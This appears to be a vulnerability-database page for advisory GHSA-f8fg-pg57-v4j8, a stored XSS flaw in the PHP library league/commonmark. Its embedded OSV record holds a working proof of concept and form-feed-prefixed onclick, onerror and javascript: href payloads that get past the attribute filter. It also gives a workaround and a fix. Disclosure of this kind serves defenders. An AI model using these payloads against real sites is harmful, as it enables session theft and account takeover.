GHSA-f8fg-pg57-v4j8: league/commonmark XSS `on*` Event-handler Filter Vulnerability
HIGHGHSA-f8fg-pg57-v4j8 is a HIGH (CVSS 7.2) `on*` event-handler filter vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting league/commonmark XSS libraries in the Packagist ecosystem. The issue involves `on*` event-handler filter in `attributesextension` bypassed with a u+000c form feed. Remediation is available by upgrading affected packages to version 2.9.1.
GHSA-f8fg-pg57-v4j8 at a Glance
Security Impact
CVSS: 7.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).
How to Fix GHSA-f8fg-pg57-v4j8
To remediate this vulnerability, upgrade all affected league/commonmark XSS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade league/commonmark to 2.9.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for league/commonmark
How to Check if You Are Affected
To determine whether your application is affected by GHSA-f8fg-pg57-v4j8, inspect your project dependencies for league/commonmark XSS:
inspect dependencies for league/commonmark
Analyze the terminal output to locate any version of league/commonmark XSS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.9.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In league/commonmark XSS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-f8fg-pg57-v4j8 Affected league/commonmark XSS Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
league/commonmark
|
Packagist |
≥ 2.7.0
< 2.9.1
|
2.9.1
|
References
Frequently Asked Questions
What is GHSA-f8fg-pg57-v4j8?
Which league/commonmark XSS versions are affected?
What version fixes GHSA-f8fg-pg57-v4j8?
Is league/commonmark affected?
What is the CVSS score of GHSA-f8fg-pg57-v4j8?
What CWE is associated with GHSA-f8fg-pg57-v4j8?
How can I check Packagist dependencies for GHSA-f8fg-pg57-v4j8?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-f8fg-pg57-v4j8",
"modified" : "2026-09-01T20:18:29Z",
"published" : "2026-09-01T20:18:29Z",
"aliases" : [ ],
"summary" : "league/commonmark XSS: `on*` event-handler filter in `AttributesExtension` bypassed with a U+000C form feed",
"details" : "### Summary\n\nThe `AttributesExtension` documents a security guarantee:\n\n> **Note:** Attributes starting with `on` (e.g. `onclick` or `onerror`) are capable of executing\n> JavaScript code and are therefore **never allowed by default**. You must explicitly add them to\n> the `allow` list if you want to use them.\n>\n> — `docs/2.x/extensions/attributes.md`\n\nPrefixing the attribute name with a single U+000C FORM FEED byte defeats that guarantee.\n`{<FF>onclick=\"alert(1)\"}` passes through `AttributesHelper::filterAttributes()` untouched and is\nwritten verbatim into the output, where browsers parse it as a genuine `onclick` handler.\n\nThe same prefix defeats the `allow_unsafe_links` check, letting a `javascript:` URI through on\n`href` / `src` even when `allow_unsafe_links` is `false`.\n\nThis bypasses the fix shipped in the **2.7.0 security release** (\"Fix XSS in AttributesExtension\",\n43207253ea5f14867c77c697cd3838c446cadcea), which added `filterAttributes()` for the express\npurpose of blocking these attributes.\n\nThroughout this report `<FF>` denotes a literal U+000C byte (`\"\\x0C\"` in PHP). It is invisible in\nrendered text, so all payloads below are written with PHP escape sequences to stay unambiguous.\n\n### Details\n\nThree behaviours combine.\n\n**1. `\\x0C` survives the parser's `trim()`.**\n\n`AttributesHelper::SINGLE_ATTRIBUTE` begins with `\\s*`, and `Cursor::match()` returns\n`$matches[0][0]` — the *entire* match, including that leading whitespace. The result is cleaned\nwith PHP's `trim()`:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:62\nwhile ($attribute = \\trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'))) {\n```\n\nPCRE `\\s` matches `\\x0C`, but PHP's default `trim()` charlist is `\" \\t\\n\\r\\0\\x0B\"` — it includes\nthe vertical tab `\\x0B` but **not** the form feed `\\x0C`. The byte is therefore consumed by the\nregex, retained in the returned match, and not stripped. It ends up inside the attribute name:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:94\n$attributes[\\trim($name)] = \\trim($value); // $name === \"\\x0Conclick\"\n```\n\n`\\x0C` is the only byte with this property: every other character the HTML5 tokenizer treats as\nwhitespace (`\\x09`, `\\x0A`, `\\x0D`, `\\x20`), plus `\\x0B`, is in PHP's trim charlist. The PoC\nincludes a `\\x0B` case as a control, and it is correctly stripped.\n\n**2. The filter's string comparisons miss it.**\n\n`filterAttributes()` compares the raw name against literal strings:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:148-166\n$attrNameLower = \\strtolower($name); // \"\\x0conclick\"\n... ($attrNameLower === 'href' || $attrNameLower === 'src') ... // false\n... \\str_starts_with($attrNameLower, 'on') ... // false -> not removed\n```\n\n**3. The renderer never escapes attribute names.**\n\n```php\n// src/Util/HtmlElement.php:123-129\n$result .= ' ' . $key . '=\"' . Xml::escape($value) . '\"'; // $key emitted raw\n```\n\nBecause the HTML5 tokenizer treats `\\x0C` as whitespace *between* attributes, the browser reads\nthe name as plain `onclick`.\n\n### PoC\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\nuse League\\CommonMark\\Environment\\Environment;\nuse League\\CommonMark\\Extension\\Attributes\\AttributesExtension;\nuse League\\CommonMark\\Extension\\CommonMark\\CommonMarkCoreExtension;\nuse League\\CommonMark\\MarkdownConverter;\n\n// The most defensive configuration docs/2.x/security.md recommends.\n$env = new Environment([\n 'html_input' => 'escape',\n 'allow_unsafe_links' => false,\n 'max_nesting_level' => 100,\n // 'attributes' => ['allow' => [...]] deliberately left at its default []\n]);\n$env->addExtension(new CommonMarkCoreExtension());\n$env->addExtension(new AttributesExtension());\n$converter = new MarkdownConverter($env);\n\n$FF = \"\\x0C\";\n\necho $converter->convert('hello {onclick=\"alert(1)\"}')->getContent();\n// <p>hello</p> <- filtered, as documented\n\necho $converter->convert('hello {' . $FF . 'onclick=\"alert(1)\"}')->getContent();\n// <p \\x0Conclick=\"alert(1)\">hello</p> <- BYPASS\n```\n\nFull observed output (`\\x0C` shown escaped; it is a literal single byte in the real output):\n\n| # | Markdown input | Rendered output | Result |\n|---|---|---|---|\n| A | `hello {onclick=\"alert(1)\"}` | `<p>hello</p>` | filtered (control) |\n| B | `hello {\\x0Conclick=\"alert(1)\"}` | `<p \\x0Conclick=\"alert(1)\">hello</p>` | **bypass** |\n| C | `hello {\\x0Bonclick=\"alert(1)\"}` | `<p>hello</p>` | filtered (control) |\n| D | `[click](javascript:alert(1))` | `<p><a>click</a></p>` | filtered (control) |\n| E | `[click](https://example.com){\\x0Chref=\"javascript:alert(1)\"}` | `<p><a \\x0Chref=\"javascript:alert(1)\" href=\"https://example.com\">click</a></p>` | **bypass** |\n| F | `{\\x0Conerror=\"alert(1)\"}` | `<p><img \\x0Conerror=\"alert(1)\" src=\"…\" alt=\"x\" /></p>` | **bypass** |\n| G | `# heading` + newline + `{\\x0Conclick=\"alert(1)\"}` | `<h1 \\x0Conclick=\"alert(1)\">heading</h1>` | **bypass** (block syntax) |\n\nIn case E the injected `href` precedes the legitimate one. Per the HTML5 duplicate-attribute rule\nthe **first** occurrence wins, so the `javascript:` URI is the one the browser actually uses.\n\n**Browser confirmation.** Loading the library's unmodified output in Chrome for Testing 148:\n\n```\n<img> attribute names : [\"onerror\",\"src\",\"alt\"] <- parsed as a real `onerror`\ntypeof img.onerror : function <- bound as an event handler\nhandlers fired : [\"img-onerror\"] <- fired on load, no interaction\ndocument.title : XSS-FIRED\nlink href attribute : \"javascript:void(0)\"\nlink href property : \"javascript:void(0)\" <- javascript: URI is the effective href\npage errors : []\n```\n\nThe `onerror` case executes with **no user interaction** — rendering the attacker's Markdown is\nsufficient.\n\nVerified against git HEAD (`f966b17a`) and against tag `2.9.0`, on PHP 8.5.8.\n\n### Impact\n\nStored cross-site scripting in any application that renders untrusted Markdown with\n`AttributesExtension` enabled and `attributes.allow` left at its default `[]` — even when the\napplication has followed every hardening step in `docs/2.x/security.md`\n(`html_input => 'escape'`, `allow_unsafe_links => false`, `max_nesting_level => 100`).\n\nConsequences are the usual for stored XSS: session and cookie theft, actions performed as the\nviewing user, and account takeover where the host application permits it. Because the payload can\nbe attached to an image (`onerror`), it fires on page load without requiring the victim to\ninteract with anything.\n\nThe affected configuration is the extension's default: `attributes.allow` defaults to `[]`, and\nthe documentation describes that default as safe with respect to `on*` attributes.\n\n### Workaround for users\n\nSetting an explicit allow list takes the other branch of `filterAttributes()`, which drops the\nform-feed name because it is not in the list:\n\n```php\n$config = ['attributes' => ['allow' => ['id', 'class', 'align']]];\n```\n\nVerified: `hello {\\x0Conclick=\"alert(1)\"}` then renders as `<p>hello</p>`.\n\n### Suggested fix\n\nThe narrow fix is to add `\\x0C` to the trim charlist at `AttributesHelper.php` lines 62, 89, 90\nand 94. That closes this instance but leaves the shape of the problem in place.\n\nA more durable fix is to reject anything that is not a well-formed attribute name in\n`filterAttributes()`, reusing the constant the parser already defines (`RegexHelper` is already\nimported in that file):\n\n```php\nforeach ($attributes as $name => $value) {\n // Names are compared against literal strings below and emitted without escaping,\n // so anything that isn't a plain attribute name must not get through.\n if (\\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', $name) !== 1) {\n unset($attributes[$name]);\n continue;\n }\n\n $attrNameLower = \\strtolower($name);\n // ... existing logic unchanged\n}\n```\n\nAs defence in depth, `HtmlElement::__toString()` could validate or escape `$key`. It currently\ntrusts its callers to supply safe attribute names, and `filterAttributes()` is the only thing\nstanding between that method and user-supplied input.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "league/commonmark"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.7.0"
}, {
"fixed" : "2.9.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/thephpleague/commonmark/security/advisories/GHSA-f8fg-pg57-v4j8"
}, {
"type" : "WEB",
"url" : "https://github.com/thephpleague/commonmark/commit/dfcdf4554c16aa37c15e3a5ee3243ee26147c239"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/thephpleague/commonmark"
}, {
"type" : "WEB",
"url" : "https://github.com/thephpleague/commonmark/releases/tag/2.9.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79", "CWE-86" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-01T20:18:29Z",
"nvd_published_at" : null
}
}